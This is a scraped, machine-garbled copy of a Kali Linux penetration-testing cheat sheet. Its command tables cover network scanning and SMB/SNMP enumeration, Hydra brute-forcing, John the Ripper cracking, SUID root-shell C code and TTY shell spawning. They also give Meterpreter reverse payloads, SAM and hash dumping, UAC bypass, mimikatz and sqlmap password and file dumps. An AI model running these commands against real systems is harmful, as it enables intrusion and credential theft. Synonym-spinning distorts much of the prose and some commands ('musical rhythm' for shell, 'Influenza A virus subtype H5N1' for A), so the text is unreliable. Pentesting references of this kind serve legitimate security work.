photo lineviral_1.png
» » » » Kali Linux Cheat Canvass For Penetration Testers
, ,

Kali Linux Cheat Canvass For Penetration Testers

Kali Linux Cheat Sheet for Penetration Testers Kali Linux Cheat Sheet for Penetration TestersPenetration testing (also called pen testing) is the exercise of testing a reckoner system, network or Web application to regain vulnerabilities that an assaulter could exploit.


Kali Linux Cheat Sheet for Penetration testers is a high bird overview for typical penetration testing surround ranging from nmap, sqlmap, ipv4, enumeration, fingerprinting etc. Always persuasion human being pages if yous are inwards uncertainty or the commands are non working equally outlined hither (can live OS based, version based  changes etc.) for the operating arrangement yous are using (such equally BlackBox, Black Ubuntu, ParrotSec OS, Debian, Ubuntu etc.). I’ve also referenced roughly guides that I institute useful inwards unlike sections as well as it powerfulness come upwards inwards handy.


Recon as well as Enumeration


NMAP Commands


Nmap (“Network Mapper”) is a costless as well as opened upwards source utility for network uncovering as well as safety auditing. Many systems as well as network administrators also regain it useful for tasks such equally network inventory, managing service upgrade schedules, as well as monitoring host or service uptime. Nmap uses raw IP packets inwards novel ways to create upwards one's heed what hosts are available on the network, what services (application advert as well as version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are inwards use, as well as dozens of other characteristics. It was designed to speedily scan large networks, but industrial plant fine against unmarried hosts. Nmap runs on all major reckoner operating systems, as well as official binary packages are available for Linux, Windows, as well as Mac OS X.































CommandDescription
nmap -v -sS -A -T4 targetNmap verbose scan, runs syn stealth, T4 timing (should live ok on LAN), OS as well as service version info, traceroute as well as scripts against services
nmap -v -sS -p–A -T4 targetAs to a higher house but scans all TCP ports (takes a lot longer)
nmap -v -sU -sS -p- -A -T4 targetAs to a higher house but scans all TCP ports as well as UDP scan (takes fifty-fifty longer)
nmap -v -p 445 –script=smb-check-vulns

–script-args=unsafe=1 192.168.1.X		Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may campaign knockover
ls /usr/share/nmap/scripts/* | grep ftpSearch nmap scripts for keywords

Router hack using nmap here.


SMB enumeration


In reckoner networking, Server Message Block (SMB), ane version of which was also known equally Common Internet File System (CIFS, /ˈsɪfs/), operates equally an application-layer network protocol mainly used for providing shared access to files, printers, as well as series ports as well as miscellaneous communications betwixt nodes on a network



















CommandDescription
nbtscan 192.168.1.0/24Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios advert as well as regain customer workgroup / domain
enum4linux -a target-ipDo Everything, runs all options (find windows customer domain / workgroup) apart from lexicon based part advert guessing

Other Host Discovery


Other methods of host discovery, that don’t usage nmap…















CommandDescription
netdiscover -r 192.168.1.0/24Discovers IP, MAC Address as well as MAC vendor on the subnet from ARP, helpful for confirming you’re on the correct VLAN at $client site

SMB Enumeration


Enumerate Windows shares / Samba shares.



















CommandDescription
nbtscan 192.168.1.0/24Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios advert as well as regain customer workgroup / domain
enum4linux -a target-ipDo Everything, runs all options (find windows customer domain / workgroup) apart from lexicon based part advert guessing

Python Local Web Server


Python local spider web server command, handy for serving upwards shells as well as exploits on an attacking machine.















CommandDescription
python -m SimpleHTTPServer 80Run a basic http server, great for serving upwards shells etc

Mounting File Shares


How to mountain NFS / CIFS, Windows as well as Linux file shares.



























CommandDescription
mount 192.168.1.1:/vol/share /mnt/nfsMount NFS part to /mnt/nfs
mount -t cifs -o username=user,password=pass

,domain=blah //192.168.1.X/share-name /mnt/cifs		Mount Windows CIFS / SMB part on Linux at /mnt/cifs if yous take password it volition prompt on the CLI (more secure equally it wont destination upwards inwards bash_history)
net usage Z: \\win-server\share password

/user:domain\janedoe /savecred /p:no		Mount a Windows part on Windows from the dominance line
apt-get install smb4k -yInstall smb4k on Kali, useful Linux GUI for browsing SMB shares

Basic FingerPrinting


A device fingerprint or machine fingerprint or browser fingerprint is information collected close a remote electronic computer for the role of identification. Fingerprints tin lavatory live used to fully or partially seat private users or devices fifty-fifty when cookies are turned off.















CommandDescription
nc -v 192.168.1.1 25


telnet 192.168.1.1 25

Basic versioning / fingerprinting via displayed banner

SNMP Enumeration


SNMP enumeration is the procedure of using SNMP to enumerate user accounts on a target system. SNMP employs 2 major types of software components for communication: the SNMP agent, which is located on the networking device, as well as the SNMP administration station, which communicates amongst the agent.















CommandDescription
snmpcheck -t 192.168.1.X -c public


snmpwalk -c world -v1 192.168.1.X 1|

grep hrSWRunName|cut -d* * -f


snmpenum -t 192.168.1.X


onesixtyone -c names -i hosts

SNMP enumeration

DNS Zone Transfers



















CommandDescription
nslookup -> fix type=any -> ls -d blah.comWindows DNS zone transfer
dig axfr blah.com @ns1.blah.comLinux DNS zone transfer

DNSRecon


DNSRecon provides the powerfulness to perform:



  1. Check all NS Records for Zone Transfers

  2. Enumerate General DNS Records for a given Domain (MX, SOA, NS, A, AAAA, SPF as well as TXT)

  3. Perform mutual SRV Record Enumeration. Top Level Domain (TLD) Expansion

  4. Check for Wildcard Resolution

  5. Brute Force subdomain as well as host Influenza A virus subtype H5N1 as well as AAAA records given a domain as well as a wordlist

  6. Perform a PTR Record lookup for a given IP Range or CIDR

  7. Check a DNS Server Cached records for A, AAAA as well as CNAME Records provided a listing of host records inwards a text file to check

  8. Enumerate Common mDNS records inwards the Local Network Enumerate Hosts as well as Subdomains using Google


 DNS Enumeration Kali - DNSReconroot: #
 dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

HTTP / HTTPS Webserver Enumeration



















CommandDescription
nikto -h 192.168.1.1Perform a nikto scan against target
dirbusterConfigure via GUI, CLI input doesn’t function most of the time

Packet Inspection















CommandDescription
tcpdump tcp port lxxx -w output.pcap -i eth0tcpdump for port lxxx on interface eth0, outputs to output.pcap

Username Enumeration


Some techniques used to remotely enumerate users on a target system.


SMB User Enumeration



















CommandDescription
python /usr/share/doc/python-impacket-doc/examples

/samrdump.py 192.168.XXX.XXX		Enumerate users from SMB
ridenum.py 192.168.XXX.XXX 500 50000 dict.txtRID bicycle SMB / enumerate users from SMB

SNMP User Enumeration























CommandDescription
snmpwalk world -v1 192.168.X.XXX 1 |grep 77.1.2.25

|cut -d” “ -f4		Enmerate users from SNMP
python /usr/share/doc/python-impacket-doc/examples/

samrdump.py SNMP 192.168.X.XXX		Enmerate users from SNMP
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt

(then grep)		Search for SNMP servers amongst nmap, grepable output

Passwords


Wordlists















CommandDescription
/usr/share/wordlistsKali give-and-take lists

Massive wordlist hither at g0tm1lk’s blog


Brute Forcing Services


Hydra FTP Brute Force


Hydra is a parallelized login cracker which supports numerous protocols to attack. It is really fast as well as flexible, as well as novel modules are tardily to add. This tool makes it possible for researchers as well as safety consultants to exhibit how tardily it would live to gain unauthorized access to a arrangement remotely. On Ubuntu it tin lavatory live installed from the synaptic packet manager. On Kali Linux, it is per-installed.















CommandDescription
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f

192.168.X.XXX ftp -V		Hydra FTP animate beingness force

Hydra POP3 Brute Force















CommandDescription
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f

192.168.X.XXX pop3 -V		Hydra POP3 animate beingness force

Hydra SMTP Brute Force















CommandDescription
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -VHydra SMTP animate beingness force

Use -t to limit concurrent connections, example: -t 15


Cracking password using Hydra guide here


Password Cracking


John The Ripper – JTR


John the Ripper is unlike from tools similar Hydra. Hydra does blind brute-forcing yesteryear trying username/password combinations on a service daemon similar ftp server or telnet server. John withal needs the hash first. So the greater challenge for a hacker is to start teach the hash that is to live cracked. Now a days hashes are to a greater extent than easily crackable using costless rainbow tables available online. Just teach to ane of the sites, submit the hash as well as if the hash is made of a mutual word, therefore the site would exhibit the give-and-take almost instantly. Rainbow tables basically shop mutual words as well as their hashes inwards a large database. Larger the database, to a greater extent than the words covered.























CommandDescription
john –wordlist=/usr/share/wordlists/rockyou.txt hashesJTR password cracking
john –format=descrypt –wordlist

/usr/share/wordlists/rockyou.txt hash.txt		JTR forced descrypt corking amongst wordlist
john –format=descrypt hash –showJTR forced descrypt animate beingness forcefulness cracking

Cracking password using John the Ripper guide here


Exploit Research


Ways to regain exploits for enumerated hosts / services.























CommandDescription
searchsploit windows 2003 | grep -i localSearch exploit-db for exploit, inwards this event windows 2003 + local esc
site:exploit-db.com exploit gist <= 3Use google to search exploit-db.com for exploits
grep -R “W7” /usr/share/metasploit-framework

/modules/exploit/windows/*		Search metasploit modules using grep – msf search sucks a bit

Full on guide amongst screenshots for searching exploits here


Compiling Exploits


Identifying if C code is for Windows or Linux


C #includes volition signal which OS should live used to construct the exploit.



















CommandDescription
process.h, string.h, winbase.h, windows.h, winsock2.hWindows exploit code
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,

sys/sockt.h, sys/types.h, unistd.h		Linux exploit code

Build Exploit GCC


Compile exploit gcc.















CommandDescription
gcc -o exploit exploit.cBasic GCC compile

GCC Compile 32Bit Exploit on 64Bit Kali


Handy for cross compiling 32 flake binaries on 64 flake attacking machines.















CommandDescription
gcc -m32 exploit.c -o exploitCross compile 32 flake binary on 64 flake Linux

Compile Windows .exe on Linux


Build / compile windows exploits on Linux, resulting inwards a .exe file.















CommandDescription
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exeCompile windows .exe on Linux

SUID Binary


Often SUID C binary files are required to spawn a musical rhythm equally a superuser, yous tin lavatory update the UID / GID as well as musical rhythm equally required.


below are roughly quick re-create as well as pate examples for diverse shells:


SUID C Shell for /bin/bash



int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}


SUID C Shell for /bin/sh



int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}


Building the SUID Shell binary



gcc -o suid suid.c


For 32 bit:



gcc -m32 -o suid suid.c


TTY Shells


Tips / Tricks to spawn a TTY musical rhythm from a express musical rhythm inwards Linux, useful for running commands similar su from contrary shells.


Python TTY Shell Trick



python -c 'import pty;pty.spawn("/bin/bash")'



echo os.system('/bin/bash')


Spawn Interactive sh shell



/bin/sh -i


Spawn Perl TTY Shell



exec "/bin/sh";
perl —e 'exec "/bin/sh";'


Spawn Ruby TTY Shell



exec "/bin/sh"


Spawn Lua TTY Shell



os.execute('/bin/sh')


Spawn TTY Shell from Vi


Run musical rhythm commands from vi:



:!bash


Spawn TTY Shell NMAP



!sh


Metasploit


Metasploit was created yesteryear H. D. Moore inwards 2003 equally a portable network tool using Perl. By 2007, the Metasploit Framework had been completely rewritten inwards Ruby. On Oct 21, 2009, the Metasploit Project announced that it had been acquired yesteryear Rapid7, a safety companionship that provides unified vulnerability administration solutions.


Like comparable commercial products such equally Immunity’s Canvas or Core Security Technologies’ Core Impact, Metasploit tin lavatory live used to bear witness the vulnerability of reckoner systems or to suspension into remote systems. Like many information safety tools, Metasploit tin lavatory live used for both legitimate as well as unauthorized activities. Since the acquisition of the Metasploit Framework, Rapid7 has added 2 opened upwards core proprietary editions called Metasploit Express as well as Metasploit Pro.


Metasploit’s emerging seat equally the de facto exploit evolution framework led to the liberate of software vulnerability advisories frequently accompanied yesteryear a 3rd political party Metasploit exploit module that highlights the exploitability, run a hazard as well as remediation of that exceptional bug. Metasploit 3.0 began to include fuzzing tools, used to regain software vulnerabilities, rather than simply exploits for known bugs. This avenue tin lavatory live seen amongst the integration of the lorcon wireless (802.11) toolset into Metasploit 3.0 inwards Nov 2006. Metasploit 4.0 was released inwards August 2011.


Meterpreter Payloads


Windows contrary meterpreter payload















CommandDescription
set payload windows/meterpreter/reverse_tcpWindows contrary tcp payload

Windows VNC Meterpreter payload















CommandDescription
set payload windows/vncinject/reverse_tcp


set ViewOnly false

Meterpreter Windows VNC Payload

Linux Reverse Meterpreter payload















CommandDescription
set payload linux/meterpreter/reverse_tcpMeterpreter Linux Reverse Payload

Meterpreter Cheat Sheet


Useful meterpreter commands.























































CommandDescription
upload file c:\\windowsMeterpreter upload file to Windows target
download c:\\windows\\repair\\sam /tmpMeterpreter download file from Windows target
download c:\\windows\\repair\\sam /tmpMeterpreter download file from Windows target
execute -f c:\\windows\temp\exploit.exeMeterpreter run .exe on target – handy for executing uploaded exploits
execute -f cmd -cCreates novel channel amongst cmd shell
psMeterpreter exhibit processes
shellMeterpreter teach musical rhythm on the target
getsystemMeterpreter attempts priviledge escalation the target
hashdumpMeterpreter attempts to dump the hashes on the target
portfwd add together –l 3389 –p 3389 –r targetMeterpreter create port frontwards to target machine
portfwd delete –l 3389 –p 3389 –r targetMeterpreter delete port forward

Common Metasploit Modules


Remote Windows Metasploit Modules (exploits)























CommandDescription
use exploit/windows/smb/ms08_067_netapiMS08_067 Windows 2k, XP, 2003 Remote Exploit
use exploit/windows/dcerpc/ms06_040_netapiMS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/

ms09_050_smb2_negotiate_func_index		MS09_050 Windows Vista SP1/SP2 as well as Server 2008 (x86) Remote Exploit

Local Windows Metasploit Modules (exploits)















CommandDescription
use exploit/windows/local/bypassuacBypass UAC on Windows vii + Set target + arch, x86/64

Auxilary Metasploit Modules































CommandDescription
use auxiliary/scanner/http/dir_scannerMetasploit HTTP directory scanner
use auxiliary/scanner/http/jboss_vulnscanMetasploit JBOSS vulnerability scanner
use auxiliary/scanner/mssql/mssql_loginMetasploit MSSQL Credential Scanner
use auxiliary/scanner/mysql/mysql_versionMetasploit MSSQL Version Scanner
use auxiliary/scanner/oracle/oracle_loginMetasploit Oracle Login Module

Metasploit Powershell Modules



























CommandDescription
use exploit/multi/script/web_deliveryMetasploit powershell payload delivery module
post/windows/manage/powershell/exec_powershellMetasploit upload as well as run powershell script through a session
use exploit/multi/http/jboss_maindeployerMetasploit JBOSS deploy
use exploit/windows/mssql/mssql_payloadMetasploit MSSQL payload

Post Exploit Windows Metasploit Modules



























CommandDescription
run post/windows/gather/win_privsMetasploit exhibit privileges of electrical flow user
use post/windows/gather/credentials/gppMetasploit select grip of GPP saved passwords
load mimikatz -> wdigestMetasplit charge Mimikatz
run post/windows/gather/local_admin_search_enumIdenitfy other machines that the supplied domain user has administrative access to

Networking


TTL Fingerprinting



























Operating SystemTTL Size
Windows128
Linux64
Solaris255
Cisco / Network255

IPv4


Classful IP Ranges


E.g Class A,B,C (depreciated)































ClassIP Address Range
Class Influenza A virus subtype H5N1 IP Address Range0.0.0.0 – 127.255.255.255
Class B IP Address Range128.0.0.0 – 191.255.255.255
Class C IP Address Range192.0.0.0 – 223.255.255.255
Class D IP Address Range224.0.0.0 – 239.255.255.255
Class due east IP Address Range240.0.0.0 – 255.255.255.255

IPv4 Private Address Ranges



























ClassRange
Class Influenza A virus subtype H5N1 Private Address Range10.0.0.0 – 10.255.255.255
Class B Private Address Range172.16.0.0 – 172.31.255.255
Class C Private Address Range192.168.0.0 – 192.168.255.255
127.0.0.0 – 127.255.255.255

IPv4 Subnet Cheat Sheet




































































































































CIDRDecimal MaskNumber of Hosts
/31255.255.255.2541 Host
/30255.255.255.2522 Hosts
/29255.255.255.2496 Hosts
/28255.255.255.24014 Hosts
/27255.255.255.22430 Hosts
/26255.255.255.19262 Hosts
/25255.255.255.128126 Hosts
/24255.255.255.0254 Hosts
/23255.255.254.0512 Host
/22255.255.252.01022 Hosts
/21255.255.248.02046 Hosts
/20255.255.240.04094 Hosts
/19255.255.224.08190 Hosts
/18255.255.192.016382 Hosts
/17255.255.128.032766 Hosts
/16255.255.0.065534 Hosts
/15255.254.0.0131070 Hosts
/14255.252.0.0262142 Hosts
/13255.248.0.0524286 Hosts
/12255.240.0.01048674 Hosts
/11255.224.0.02097150 Hosts
/10255.192.0.04194302 Hosts
/9255.128.0.08388606 Hosts
/8255.0.0.016777214 Hosts

ASCII Table Cheat Sheet


Useful for Web Application Penetration Testing, or if yous teach stranded on Mars as well as demand to communicate amongst NASA.















































































































































































































































































































































































































ASCIICharacter
x00Null Byte
x08BS
x09TAB
x0aLF
x0dCR
x1bESC
x20SPC
x21!
x22“
x23#
x24$
x25%
x26&
x27`
x28(
x29)
x2a*
x2b+
x2c,
x2d–
x2e.
x2f/
x300
x311
x322
x333
x344
x355
x366
x377
x388
x399
x3a:
x3b;
x3c<
x3d=
x3e>
x3f?
x40@
x41A
x42B
x43C
x44D
x45E
x46F
x47G
x48H
x49I
x4aJ
x4bK
x4cL
x4dM
x4eN
x4fO
x50P
x51Q
x52R
x53S
x54T
x55U
x56V
x57W
x58X
x59Y
x5aZ
x5b[
x5c\
x5d]
x5e^
x5f_
x60`
x61a
x62b
x63c
x64d
x65e
x66f
x67g
x68h
x69i
x6aj
x6bk
x6cl
x6dm
x6en
x6fo
x70p
x71q
x72r
x73s
x74t
x75u
x76v
x77w
x78x
x79y
x7az

CISCO IOS Commands


A collection of useful Cisco IOS commands.



































































































CommandDescription
enableEnters enable mode
conf tShort for, configure terminal
(config)# interface fa0/0Configure FastEthernet 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255Add ip to fa0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255Add ip to fa0/0
(config-if)# trouble vty 0 4Configure vty line
(config-line)# loginCisco fix telnet password
(config-line)# password YOUR-PASSWORDSet telnet password
# exhibit running-configShow running config loaded inwards memory
# exhibit startup-configShow sartup config
# exhibit versionshow cisco IOS version
# exhibit sessiondisplay opened upwards sessions
# exhibit ip interfaceShow network interfaces
# exhibit interface e0Show detailed interface info
# exhibit ip routeShow routes
# exhibit access-listsShow access lists
# dir file systemsShow available files
# dir all-filesystemsFile information
# dir /allSHow deleted files
# terminal length 0No limit on terminal output
# re-create running-config tftpCopys running config to tftp server
# re-create running-config startup-configCopy startup-config to running-config

Cryptography


Hash Lengths



























HashSize
MD5 Hash Length16 Bytes
SHA-1 Hash Length20 Bytes
SHA-256 Hash Length32 Bytes
SHA-512 Hash Length64 Bytes

Hash Examples


Likely simply usage hash-identifier for this but hither are roughly event hashes:































































HashExample
MD5 Hash Example8743b52063cd84097a65d1633f5c74f5
MD5 $PASS:$SALT Example01dfae6e5d4d90d9892622325959afbe:7050461
MD5 $SALT:$PASSf0fda58630310a6dd91a7d8f0a4ceda2:4225637426
SHA1 Hash Exampleb89eaac7e61417341b710b727768294d0e6a277b
SHA1 $PASS:$SALT2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
SHA1 $SALT:$PASScac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
SHA-256127e6fbfe24a750e72930c220a8e138275656b

8e5d8f48a98c3c92df2caba935
SHA-256 $PASS:$SALTc73d08de890479518ed60cf670d17faa26a4a7

1f995c1dcc978165399401a6c4
SHA-256 $SALT:$PASSeb368a2dfd38b405f014118c7d9747fcc97f4

f0ee75c05963cd9da6ee65ef498:560407001617
SHA-51282a9dda829eb7f8ffe9fbe49e45d47d2dad9

664fbb7adf72492e3c81ebd3e29134d9bc

12212bf83c6840f10e8246b9db54a4

859b7ccd0123d86e5872c1e5082f
SHA-512 $PASS:$SALTe5c3ede3e49fb86592fb03f471c35ba13e8

d89b8ab65142c9a8fdafb635fa2223c24e5

558fd9313e8995019dcbec1fb58414

6b7bb12685c7765fc8c0d51379fd
SHA-512 $SALT:$PASS976b451818634a1e2acba682da3fd6ef

a72adf8a7a08d7939550c244b237c72c7d4236754

4e826c0c83fe5c02f97c0373b6b1

386cc794bf0d21d2df01bb9c08a
NTLM Hash Exampleb4b9b02e6f09a9bd760f388b67351e2b

Identify HASH as well as corking password using Wireshark guide here


SQLMap Examples


sqlmap is an opened upwards source penetration testing tool that automates the procedure of detecting as well as exploiting SQL injection flaws as well as taking over of database servers. It comes amongst a powerful detection engine, many niche features for the ultimate penetration tester as well as a wide make of switches lasting from database fingerprinting, over information fetching from the database, to accessing the underlying file arrangement as well as executing commands on the operating arrangement via out-of-band connections.































CommandDescription
sqlmap -u http://meh.com –forms –batch –crawl=10

–cookie=jsessionid=54321 –level=5 –risk=3		Automated sqlmap scan
sqlmap -u TARGET -p PARAM –data=POSTDATA –cookie=COOKIE

–level=3 –current-user –current-db –passwords

–file-read=”/var/www/blah.php”		Targeted sqlmap scan
sqlmap -u “http://meh.com/meh.php?id=1”

–dbms=mysql –tech=U –random-agent –dump		Scan url for spousal human relationship + mistake based injection amongst mysql backend

and usage a random user agent + database dump
sqlmap -o -u “http://meh.com/form/” –formssqlmap depository fiscal establishment stand upwards for shape for injection
sqlmap -o -u “http://meh/vuln-form” –forms

-D database-name -T users –dump		sqlmap dump as well as scissure hashes for tabular array users on database-name.

Source:


This article originally appeared on Penetration Testing Tools Cheat Sheet.


Buat lebih berguna, kongsi:
close